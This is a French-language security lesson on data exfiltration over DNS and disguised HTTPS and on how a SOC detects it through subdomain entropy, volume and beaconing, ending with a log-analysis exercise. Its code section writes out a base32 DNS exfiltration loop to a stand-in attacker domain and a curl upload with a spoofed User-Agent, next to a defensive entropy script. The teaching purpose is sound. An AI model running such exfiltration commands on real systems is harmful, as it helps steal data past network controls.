cyber / pentest-red-team
Exfiltration de données et détection côté défenseur
Explication
Ce que vous allez apprendre
- Comprendre pourquoi l'exfiltration DNS contourne certains pare-feux centrés sur HTTP/HTTPS
- Reconnaître le camouflage d'une exfiltration derrière du trafic HTTPS d'apparence légitime
- Calculer l'entropie d'un sous-domaine pour détecter des données encodées
- Identifier le beaconing comme signal fort de compromission active
- Mettre en place des contrôles défensifs concrets contre l'exfiltration de données
Dans quel contexte ?
Un analyste en centre opérationnel de sécurité (SOC) surveille le trafic sortant d'une entreprise et doit décider quels signaux méritent une investigation approfondie parmi des millions de requêtes DNS quotidiennes légitimes. Comprendre concrètement comment un attaquant encode des données dans un canal en apparence anodin permet de construire des règles de détection précises, plutôt que de se fier à une simple liste noire de domaines déjà connus comme malveillants — toujours en retard sur une nouvelle infrastructure.
D'abord, comprendre pourquoi le DNS est un canal d'exfiltration privilégié
De nombreux pare-feux d'entreprise filtrent rigoureusement le trafic HTTP/HTTPS sortant, mais laissent les requêtes DNS transiter librement — elles sont indispensables au fonctionnement normal du réseau. Un attaquant peut alors fragmenter une donnée, l'encoder (souvent en base32, compatible avec les contraintes de nommage DNS), et l'envoyer fragment par fragment sous forme de sous-domaines interrogés auprès d'un serveur DNS qu'il contrôle.
Prérequis
Cette leçon suppose une compréhension de base du fonctionnement du DNS et des requêtes HTTP, ainsi qu'une notion de ce qu'est un pare-feu réseau, vues dans les leçons réseau de ce parcours.
| Canal d'exfiltration | Pourquoi il fonctionne | Signal de détection principal |
|---|---|---|
| DNS | Souvent non filtré par les pare-feux | Sous-domaines longs à forte entropie |
| HTTPS déguisé | Se fond dans le trafic cloud légitime autorisé | Volume sortant anormal pour ce poste |
| Beaconing régulier | Connexions discrètes à intervalle fixe | Régularité statistique du trafic |
Une fois ce principe compris, il faut un outil objectif pour le détecter : l'entropie
Un nom de domaine lisible par un humain (mail.example.com) a une entropie relativement basse, car les lettres suivent les régularités d'une langue naturelle. Un sous-domaine généré pour encoder des données binaires (a8f3e9b2c7d1.exfil.lab.example) a au contraire une entropie élevée, proche du maximum théorique pour son alphabet — un signal statistique exploitable automatiquement, sans avoir besoin de connaître le domaine à l'avance.
Piège courant
Se fier uniquement à une liste de domaines connus comme malveillants pour détecter l'exfiltration est une approche vouée à l'échec : un attaquant peut enregistrer un nouveau domaine à tout moment. L'analyse comportementale (entropie, volumétrie, régularité) détecte des techniques, pas seulement des indicateurs déjà connus.
Il reste un dernier signal à surveiller : la régularité du trafic
Le beaconing — des connexions sortantes à intervalle quasiment fixe vers un hôte externe inconnu — trahit souvent un implant qui contacte périodiquement son infrastructure de contrôle, même lorsque le volume de données échangé est minime.
Bonne pratique
Combine plusieurs contrôles défensifs complémentaires plutôt qu'un seul : filtrage DNS vers des résolveurs surveillés, Data Loss Prevention sur les proxies sortants, et alerting sur la volumétrie sortante anormale par hôte individuel plutôt que par utilisateur agrégé, qui peut diluer un signal pourtant clair au niveau de la machine.
Cette leçon clôt le cycle complet d'une intrusion — accès initial, escalade, mouvement latéral, persistance, exfiltration. La suite du parcours élargit maintenant le regard vers un terrain spécifique et particulièrement critique en entreprise : la sécurité d'Active Directory.
Commandes & code
Exfiltration de données et détection côté défenseur
Comprendre les canaux d'exfiltration permet surtout de configurer une détection réseau efficace.
# Exfiltration via DNS : contourne des pare-feux qui ne filtrent que HTTP/HTTPS
# Chaque requête DNS encode un fragment de donnée dans le sous-domaine interrogé
for chunk in $(cat donnee_test.txt | base32 | fold -w 60); do
dig "${chunk}.exfil.lab.attacker.example" +short
done# Exfiltration via HTTPS déguisée en trafic légitime (vers un service cloud autorisé par le pare-feu)
curl -s -X POST https://storage.lab.example/upload -F "file=@donnee_test.txt" -H "User-Agent: Mozilla/5.0 (compatible; UpdateService/1.0)"# Signes réseau qui doivent alerter un SOC (Security Operations Center)
- Volume de requêtes DNS anormalement élevé vers un même domaine peu commun
- Sous-domaines DNS très longs et à forte entropie (indice d'encodage de données)
- Connexions sortantes régulières à intervalle fixe (beaconing) vers un hôte externe inconnu
- Volume de données sortantes largement supérieur à la baseline habituelle pour ce poste# Détection défensive : analyser l'entropie des sous-domaines DNS interrogés (script simplifié)
python3 - <<'PY'
import math
from collections import Counter
def entropy(s: str) -> float:
counts = Counter(s)
length = len(s)
return -sum((c / length) * math.log2(c / length) for c in counts.values())
domaines = ["mail.example.com", "a8f3e9b2c7d1.exfil.lab.example"]
for d in domaines:
sous_domaine = d.split(".")[0]
print(d, "-> entropie:", round(entropy(sous_domaine), 2))
# Une entropie élevée (proche de log2(taille alphabet)) suggère des données encodées, pas un nom lisible
PY# Contrôles défensifs qui réduisent fortement le risque d'exfiltration réussie
- DNS sinkholing / filtrage DNS vers des résolveurs contrôlés et surveillés
- Data Loss Prevention (DLP) sur les proxies sortants
- Segmentation réseau : les postes utilisateurs n'ont pas besoin d'un accès Internet direct illimité
- Alerting sur volumétrie sortante anormale par hôte, pas seulement par utilisateurRésumé
- L'exfiltration DNS contourne les pare-feux centrés uniquement sur HTTP/HTTPS.
- L'analyse d'entropie des sous-domaines est une technique de détection concrète et automatisable.
- Le beaconing régulier (intervalle fixe) est un signal fort de compromission active.
- Une architecture réseau segmentée limite structurellement les canaux d'exfiltration disponibles.
Exercices pratiques
Mission : détecter une exfiltration DNS dans les logs du SOC NordShield
Objectif : Analyser un échantillon de trafic DNS pour repérer un canal d'exfiltration déguisé, et proposer des contrôles défensifs concrets.
Contexte
L'équipe SOC de NordShield te transmet un extrait de logs DNS suspects, avec un volume anormal de requêtes vers un domaine peu connu. Tu dois objectiver ce soupçon avant de déclencher une réponse à incident.